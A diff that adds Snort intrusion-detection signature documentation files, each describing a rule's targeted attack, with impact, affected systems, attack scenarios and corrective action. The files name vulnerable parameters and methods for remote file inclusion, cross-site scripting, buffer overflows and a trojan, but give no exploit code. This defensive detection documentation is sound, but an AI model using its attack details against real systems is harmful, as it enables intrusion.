+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application IdeaBox.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+IdeaBox contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable ideaDir when 
+making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in the file cord.php.
+
+--
+Affected Systems:
+	PHPOutsourcing IdeaBox 1.0
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the ideaDir variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/817.txt
+++ snort-2.8.5.2/doc/signatures/817.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+817
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000492.txt
+++ snort-2.8.5.2/doc/signatures/100000492.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000492
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "DeluxeBB" application running on a webserver. 
+Access to the file "newpm.php" using a remote file being passed as the 
+"templatefolder" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "templatefolder" parameter in the "newpm.php" script 
+used by the "DeluxeBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DeluxeBB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000801.txt
+++ snort-2.8.5.2/doc/signatures/100000801.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000801
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "js_name" parameter in the "editor_menu.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2663.txt
+++ snort-2.8.5.2/doc/signatures/2663.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2663
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with the web server of WhatsUp Gold.
+
+--
+Impact:
+A successful attack can cause a denial of service or a buffer overflow and
+the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+WhatsUp Gold is a Windows application that can be used to monitor the status
+of a network and the availability and performance of servers.  A vulnerability
+exists in the web server component of WhatsUp Gold that can cause a denial of
+service or buffer overflow and the subsequent execution of arbitrary code on a
+vulnerable server.  This can occur when an overly long value is passed to the
+parameter "instancename" when invoking the _maincfgret CGI. It should be noted
+that the web server is not enabled by default in WhatsUp Gold.
+
+--
+Affected Systems:
+WhatsUp Gold 8.x.
+
+--
+Attack Scenarios:
+An attacker can connect to a web-enabled WhatsUp Gold server and send
+an overly long value to the "instancename" when calling _maincfgret,
+possibly causing a denial of service or buffer overflow.
+
+--
+Ease of Attack:
+Denial of service - simple, buffer overflow - harder.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+
+--
+Additional References
+
+Other:
+http://www.idefense.com/application/poi/display?id=133&type=vulnerabilities
+
+--
--- snort-2.8.5.2.orig/doc/signatures/646.txt
+++ snort-2.8.5.2/doc/signatures/646.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 646
+
+--
+Summary: 
+This event is generated when a buffer overflow attack is attempted against a target machine.
+
+--
+Impact: 
+Serious. The attacker may be able to gain remote access to the system or have the ability to execute arbitrary code with the privileges of a system user.
+
+
+-- 
+Detailed Information: 
+This rule tracks the bit combination which may occur in network packets aimed at overflowing Sparc Solaris/SunOS network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+
+A specific string used during the overflow is application-dependent however, a platform-specific command or code may be present and is detected by this rule.
+
+--
+Attack Scenarios: 
+An attacker launches an overflow exploit against a vulnerable FTP server and gains the ability to start a shell session, thus obtaining interactive access to the target.
+
+--
+Ease of Attack: 
+Simple
+
+
+--
+False Positives: 
+This event may be generated by legitimate traffic to the specified port.
+
+
+-- 
+False Negatives: 
+This event is specific to the shell code defined in the rule.
+Other shell code sequences may not be detected.
+
+--
+Corrective Action: 
+Check the target host for other signs of compromise.
+
+Look for other events concerning the target host.
+
+Apply vendor supplied patches and keep the operating system up to date.
+
+--
+Contributors: 
+Original Rule Writer Unkown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS355
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1369.txt
+++ snort-2.8.5.2/doc/signatures/1369.txt
@@ -0,0 +1,48 @@
+Rule:
+
+--
+Sid:
+1369
+
+--
+Summary:
+Attempted ps command access via web
+
+--
+Impact:
+Attempt to gain information on system files and filestructure
+
+--
+Detailed Information:
+This is an attempt to gain intelligence on the filesystem on a webserver. The ls command lists the files and filesystem layout on a UNIX or Linux based system. The attacker could possibly gain information needed for other attacks on the host.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/ls'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine. 
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1368
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2409.txt
+++ snort-2.8.5.2/doc/signatures/2409.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+2409
+
+--
+Summary:
+This event is generated when an attempt is made to overflow a buffer by
+supplying a very long username to an APOP POP3 service.
+
+--
+Impact:
+Serious. Several POP3 servers are vulnerable to USER buffer overflows.
+
+--
+Detailed Information:
+By supplying more than 626 bytes of data to the APOP USER command on 1st
+Class Internet Solutions' 1st Class Mail Server, an attacker may
+overflow a buffer resulting in the opportunity to execute code of their
+choosing on the targeted machine with the privileges of the user running
+the service.
+
+Other Mail software may be prone to this attack.
+
+--
+Affected Systems:
+	1st Class Mail Server
+
+--
+Attack Scenarios:
+An attacker may connect to the service and supply an over-long username
+to overflow the buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Check for other events generated by the source IP address.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1982.txt
+++ snort-2.8.5.2/doc/signatures/1982.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1982
+
+--
+Summary:
+Deepthroat is a Trojan Horse offering the attacker control of the target.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Deepthroat sever to programs normally started on boot.
+
+See also rules with sids 195, 1980, 1981, 1982 and 1983.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan. Once compromised, this Trojan grants the attacker the ability to almost completely control the target.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Systemtray
+
+Removal of the files pddt.dat and systray.exe from the Windows system directory is required.
+
+Ending the process systray.exe is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS106
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/deepthroat.trojan.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2239.txt
+++ snort-2.8.5.2/doc/signatures/2239.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2239
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in PDGSoft Shopping Cart.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+Certain versions of PDGSoft Shopping Cart suffer from a buffer overflow 
+condition that can present an attacker with the opportunity to execute 
+arbitrary code of their choosing.
+
+The vulnerable executable files are redirect.exe and changepw.exe, which
+can be accessed via the web interface.
+
+--
+Affected Systems:
+	PDGSoft Shopping Cart 1.50
+
+--
+Attack Scenarios:
+The attacker needs to supply an overly long string to either of the 
+affected executables.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1256
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2811.txt
+++ snort-2.8.5.2/doc/signatures/2811.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2811
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure validate_flavor_definition
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2579.txt
+++ snort-2.8.5.2/doc/signatures/2579.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2579
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a heap overflow
+associated with Kerberos V5.
+
+--
+Impact:
+A successful attack may cause a heap overflow, permitting the execution of
+arbitrary code.
+
+--
+Detailed Information:
+When Kerberos V5 uses a non-default configuration of enabling rules-based
+mapping, it is possible to cause a heap overflow and the subsequent
+execution of arbitrary code on the vulnerable host.  The attacker has
+to successfully authenticate in order to exploit the vulnerability.
+If an attacker supplies an overly long principal name, it may be possible
+to cause a heap overflow on the vulnerable Kerberos-enabled server.
+
+--
+Affected Systems:
+MIT Kerberos V5 including krb5-1.3.3
+
+--
+Attack Scenarios:
+An attacker authenticates to the Kerberos server and later supplies
+an overly long principle name when attempting to connect to a server
+that employs Kerberos authentication. This can cause a heap overflow
+and subsequent execution of code on a vulnerable server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Dan Roelker <dan.roelker@sourcefire.com>
+
+--
+Additional References
+
+Other:
+http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2004-001-an_to_ln.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2533.txt
+++ snort-2.8.5.2/doc/signatures/2533.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2533
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2524.txt
+++ snort-2.8.5.2/doc/signatures/2524.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2524
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2184.txt
+++ snort-2.8.5.2/doc/signatures/2184.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2184
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known vulnerability in the xlog function of certain Linux NFS Utils packages.
+
+Specifically this event is generated when TCP is used as the attack medium.
+
+--
+Impact:
+Denial of Service (DoS), possible arbitrary code execution.
+
+--
+Detailed Information:
+The mountd Remote Procedure Call (RPC) implements the NFS mount protocol. A vulnerability exists in some versions of the Linux NFS Utilities package prior to 1.0.4 that can lead to the possible execution of arbitrary code or a DoS against the affected server.
+
+A programming error in the xlog function may be exploited by an attacker by sending RPC requests to mountd that do not contain any newline characters. This causes a buffer to overflow thus presenting the attacker with the opportunity to execute code.
+
+--
+Affected Systems:
+Systems using Linux NFS Utils prior to version 1.0.4.
+
+--
+Attack Scenarios:
+An attacker may send a specially crafted RPC request or mount command to the NFS server that does not contain any newline characters.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/962.txt
+++ snort-2.8.5.2/doc/signatures/962.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+962
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1704.txt
+++ snort-2.8.5.2/doc/signatures/1704.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1704
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3446.txt
+++ snort-2.8.5.2/doc/signatures/3446.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3446
+
+--
+Summary:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Affected Systems:
+	NA
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000431.txt
+++ snort-2.8.5.2/doc/signatures/100000431.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000431
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "fileBrowserInner.php" using a remote file being passed as the "APP[path][core]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "APP[path][core]" parameter in the "fileBrowserInner.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1172.txt
+++ snort-2.8.5.2/doc/signatures/1172.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1172
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1946.txt
+++ snort-2.8.5.2/doc/signatures/1946.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1946
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3164.txt
+++ snort-2.8.5.2/doc/signatures/3164.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3164
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
